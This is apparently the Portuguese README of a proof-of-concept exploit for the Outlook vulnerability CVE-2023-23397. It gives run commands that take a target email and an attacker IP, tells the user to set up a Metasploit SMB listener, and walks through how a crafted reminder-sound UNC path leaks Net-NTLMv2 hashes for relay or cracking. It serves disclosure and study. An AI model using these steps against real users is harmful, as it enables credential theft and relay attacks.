Prova de Conceito do CVE-2023-23397

Este é um exploit de prova de conceito (PoC) para o CVE-2023-23397, uma vulnerabilidade no cliente Windows Microsoft Outlook.

Pré-requisitos

• Python 3
• Pacote pywin32

Como usar

Windows

1. Instale o pacote pywin32 necessário executando pip install pywin32.
2. Execute o script com o seguinte comando: python Exploit.py <save_or_send> <target_email> <attacker_ip>.

Kali Linux

1. Instale o pacote pywin32 necessário executando pip install pywin32.
2. Inicie um servidor SMB na máquina do atacante, como o módulo SMB do Metasploit.
3. Execute o script com o seguinte comando: python Exploit.py <save_or_send> <target_email> <attacker_ip>.

Opções

• <save_or_send>: Escolha entre "save" ou "send". "save" salvará o e-mail malicioso como um arquivo, enquanto "send" enviará o e-mail diretamente ao alvo.
• <target_email>: O endereço de e-mail do usuário alvo.
• <attacker_ip>: O endereço IP do servidor SMB do atacante.

Visão Geral de Alto Nível do CVE-2023-23397

Esta é uma visão geral de alto nível do CVE-2023-23397, uma vulnerabilidade no cliente Windows Microsoft Outlook.

Descrição

O CVE-2023-23397 é uma vulnerabilidade que permite que um atacante crie um e-mail malicioso que, quando processado pelo cliente Outlook, vaza automaticamente os hashes Net-NTLMv2 do usuário alvo. Nenhuma interação do usuário é necessária para acionar o exploit. Os hashes vazados podem ser usados para ataques de relay ou para quebrar as credenciais subjacentes.

A vulnerabilidade existe devido à forma como o Outlook lida com a propriedade PidLidReminderFileParameter em mensagens de e-mail. Esta propriedade permite que o remetente da mensagem defina um som de notificação personalizado para itens como notificações de reunião. Ao criar uma mensagem com uma propriedade PidLidReminderFileParameter personalizada que contém um caminho Universal Naming Convention (UNC) apontando para um servidor SMB controlado pelo atacante, o atacante pode fazer com que o cliente Outlook do alvo vaze os hashes Net-NTLMv2 quando se conectar ao servidor SMB.

Etapas do Ataque

1. O atacante cria um e-mail malicioso com uma propriedade PidLidReminderFileParameter personalizada contendo um caminho UNC apontando para seu servidor SMB.
2. O usuário alvo recebe o e-mail em seu cliente Outlook.
3. O Outlook processa o e-mail e tenta buscar o arquivo de som de notificação personalizado especificado na propriedade PidLidReminderFileParameter.
4. Quando o Outlook se conecta ao servidor SMB controlado pelo atacante, ele vaza os hashes Net-NTLMv2 do usuário alvo.
5. O atacante pode então usar os hashes vazados para ataques de relay em outros sistemas que suportam NTLMv2 ou tentar quebrar os hashes para obter as credenciais de texto claro subjacentes.

Uso do Exploit

O script de exploit de prova de conceito (PoC) fornecido gera um e-mail malicioso com a propriedade PidLidReminderFileParameter personalizada e o salva como um arquivo ou o envia diretamente ao endereço de e-mail alvo. O atacante precisa configurar um servidor SMB para capturar os hashes Net-NTLMv2 vazados.

Nota

Esta visão geral de alto nível é apenas para fins educacionais. Compreender a vulnerabilidade e seu impacto pode ajudar a melhorar as práticas de segurança e desenvolver defesas eficazes contra ataques semelhantes.